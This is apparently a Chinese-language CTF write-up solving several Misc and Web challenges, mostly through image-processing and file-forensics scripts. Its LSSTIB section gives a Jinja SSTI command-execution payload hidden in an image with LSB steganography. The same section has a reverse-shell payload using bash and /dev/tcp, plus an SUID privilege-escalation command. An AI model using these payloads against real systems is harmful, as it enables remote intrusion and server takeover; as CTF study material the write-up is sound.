这下榜一大哥了
Misc
验证码
图片里很多黑点干扰ocr,写个脚本去一下
from PIL import Image
import os
img_list = os.listdir('imgs')
for i in img_list:
img = Image.open('imgs/'+i)
for j in range(30):
for k in range(70):
if (img.getpixel((k, j)) == (0, 0, 0)):
img.putpixel((k, j), (255, 255, 255))
img.save('files/'+i)
这下清晰了
直接进行一个qq自带的文字识别,得到所有数字
1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552
网上抄个tupper自指的脚本
import numpy as np
import matplotlib.pyplot as plt
from PIL import Image
def Tupper_self_referential_formula(k):
aa = np.zeros((17, 106))
def f(x, y):
y += k
a1 = 2**-(-17*x - y % 17)
a2 = (y // 17) // a1
return 1 if a2 % 2 > 0.5 else 0
for y in range(17):
for x in range(106):
aa[y, x] = f(x, y)
return aa[:, ::-1]
k = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552 # 输入你要提取的k
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15, 10))
plt.imshow(aa, origin='lower')
plt.savefig("tupper.png")
img = Image.open('tupper.png')
# 翻转
dst1 = img.transpose(Image.FLIP_LEFT_RIGHT).rotate(180)
plt.imshow(dst1)
plt.show()
水平翻转得到flag
Snake on web
下载下来,本地调一下速度(反应力实在不行,玩了好久
手动玩到100分即可
来一把紧张刺激的CS
最后的生成flag
LSSTIB
lsb在线解密,看题目名可知存在ssti
直接抄个payload
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
然后将其以lsb加密的方式放在图片里面
生成图片载体脚本
from PIL import Image
#MAX = 25
# 二维码大小
pic = Image.new("RGB", (320, 1))
str = "0"*320
i = 0
for y in range(0, 1):
for x in range(0, 320):
if (str[i] == '1'):
pic.putpixel([x, y], (0, 0, 0))
else:
pic.putpixel([x, y], (255, 255, 255))
i = i+1
pic.save("1.png")
lsb加密脚本(其中flag.txt是payload
# -*- coding: utf-8 -*-
"""
Created on Sun May 19 11:20:05 2019
@author: Administrator
"""
from PIL import Image
def plus(string):
# Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
return string.zfill(8)
def get_key(strr):
# 获取要隐藏的文件内容
with open(strr, "rb") as f:
s = f.read()
string = ""
for i in range(len(s)):
# 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
# 1.先用ord()函数将s的内容逐个转换为ascii码
# 2.使用bin()函数将十进制的ascii码转换为二进制
# 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
# 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
string = string+""+plus(bin(s[i]).replace('0b', ''))
# print(string)
return string
def mod(x, y):
return x % y
# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径
def func(str1, str2, str3):
im = Image.open(str1)
# 获取图片的宽和高
width, height = im.size[0], im.size[1]
print("width:"+str(width))
print("height:"+str(height))
count = 0
# 获取需要隐藏的信息
key = get_key(str2)
keylen = len(key)
for h in range(height):
for w in range(width):
pixel = im.getpixel((w, h))
a = pixel[0]
b = pixel[1]
c = pixel[2]
if count == keylen:
break
# 下面的操作是将信息隐藏进去
# 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
# 再从需要隐藏的信息中取出一位,转换为整型
# 两值相加,就把信息隐藏起来了
a = a-mod(a, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
b = b-mod(b, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
c = c-mod(c, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
if count % 3 == 0:
im.putpixel((w, h), (a, b, c))
im.save(str3)
def main():
# 原图
old = "1.png"
# 处理后输出的图片路径
new = "2.png"
# 需要隐藏的信息
enc = "flag.txt"
func(old, enc, new)
if __name__ == '__main__':
main()
加密后的图片直接上传,得到成功的回显
于是可以试试弹个shell
payload:
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"').read()}}
lsb加密后上传,成功反弹shell
然后就是常规的suid提权
find / -perm -u=s -type f 2>/dev/null
发现find命令有suid权限
直接提权读flag
你看这个指针它可爱吗
直接目力,眼都看花了,windows直接看,狠狠copy出题人的脚本
from PIL import Image
import io,os,sys
import logging
logging.basicConfig(format='%(asctime)s - %(pathname)s[line:%(lineno)d] - %(levelname)s: %(message)s',level=logging.INFO)
def analyzeANIFile(filePath):
with open(filePath,'rb') as f:
if f.read(4) != b'RIFF':
return {"code":-1,"msg":"File is not a ANI File!"}
logging.debug('文件头检查完成!')
fileSize = int.from_bytes(f.read(4), byteorder='little', signed=False)
# if os.path.getsize(filePath) != fileSize:
# return {"code":-2,"msg":"File is damaged!"}
logging.debug('文件长度检查完成!')
if f.read(4) != b'ACON':
return {"code":-1,"msg":"File is not a ANI File!"}
logging.debug('魔数检查完成!')
frameRate = (1/60)*1000
while(True):
chunkName = f.read(4)
if chunkName == b'LIST':
break
chunkSize = int.from_bytes(f.read(4), byteorder='little', signed=False)
if chunkName.lower() == b'rate':
logging.debug('发现自定义速率!')
frameRate = frameRate * int.from_bytes(f.read(4), byteorder='little', signed=False)
logging.warning('发现自定义速率!由于GIF限制,将取第一帧与第二帧的速率作为整体速率!')
f.read(chunkSize - 4)
else:
logging.debug('发现自定义Chunk!')
f.read(chunkSize)
listChunkSize = int.from_bytes(f.read(4), byteorder='little', signed=False)
if f.read(4) != b'fram':
return {"code":-3,"msg":"File not a ANI File!(No Frames)"}
logging.debug('frame头检查完成!')
frameList = []
nowSize = 4
while(nowSize < listChunkSize):
if f.read(4) != b'icon':
return {"code":-4,"msg":"File not a ANI File!(Other Kind Frames)"}
nowSize += 4
subChunkSize = int.from_bytes(f.read(4), byteorder='little', signed=False)
nowSize += 4
frameList.append(f.read(subChunkSize))
nowSize += subChunkSize
return {"code":0,"msg":frameList,"frameRate":frameRate}
if __name__ == '__main__':
if len(sys.argv) < 2:
logging.fatal("Usage:python ani2gif.py <inputFile> <outputFile,Option>")
else:
res = analyzeANIFile(sys.argv[1])
GIFframes = []
if res["code"] == 0:
logging.info('ANI文件分析完成,帧提取完成!')
for frame in res["msg"]:
frameImage = Image.open(io.BytesIO(frame),formats=['CUR']).convert('RGBA')
GIFframes.append(frameImage)
if(len(sys.argv) >= 3):
GIFframes[0].save(sys.argv[2],format="GIF",save_all=True, append_images=GIFframes[1:], optimize=False, duration=res["frameRate"], loop=0, transparency=0, disposal=2)
else:
GIFframes[0].save(f"{sys.argv[1].strip('.ani')}.gif",format="GIF",save_all=True, append_images=GIFframes[1:], optimize=False, duration=res["frameRate"], loop=0, transparency=0, disposal=2)
logging.info('GIF生成完成!')
else:
logging.fatal(res["msg"])
mac的把base64转成6张tiff之后继续目力,得到所有flag字符,看起来大概是这样的
lfa
g1{
351
12c
8-1
8
7
4
-
4
6
7b-
8df
7-b
89f
476
0d8
10}
mac的顺序没问题
8df7-b89f4760d810}
windows的顺序主要是ani,cur的没问题,照着hint找到option字段
就在"seq "的后面,以三个00分割,下图为1.ani
照着排个序即可,具体如下
字母 在gif中的顺序 在option里的顺序
l 1 13
f 3 7
a 17 22
g 6 2
1 7 13
{ 26 6
3 3 23
5 9 14
1 10 17
1 1 6
2 7 7
c 9 5
8 22 30
- 34 28
1 41 0
7 3 21
b 18 18
- 31 25
因此另一半flag为
flag{1513c121-8874-46b7-
flag为
flag{1513c121-8874-46b7-8df7-b89f4760d810}
Web
象棋王子
看js,找到flag后放控制台里跑一跑
电子木鱼
一眼丁真,可以溢出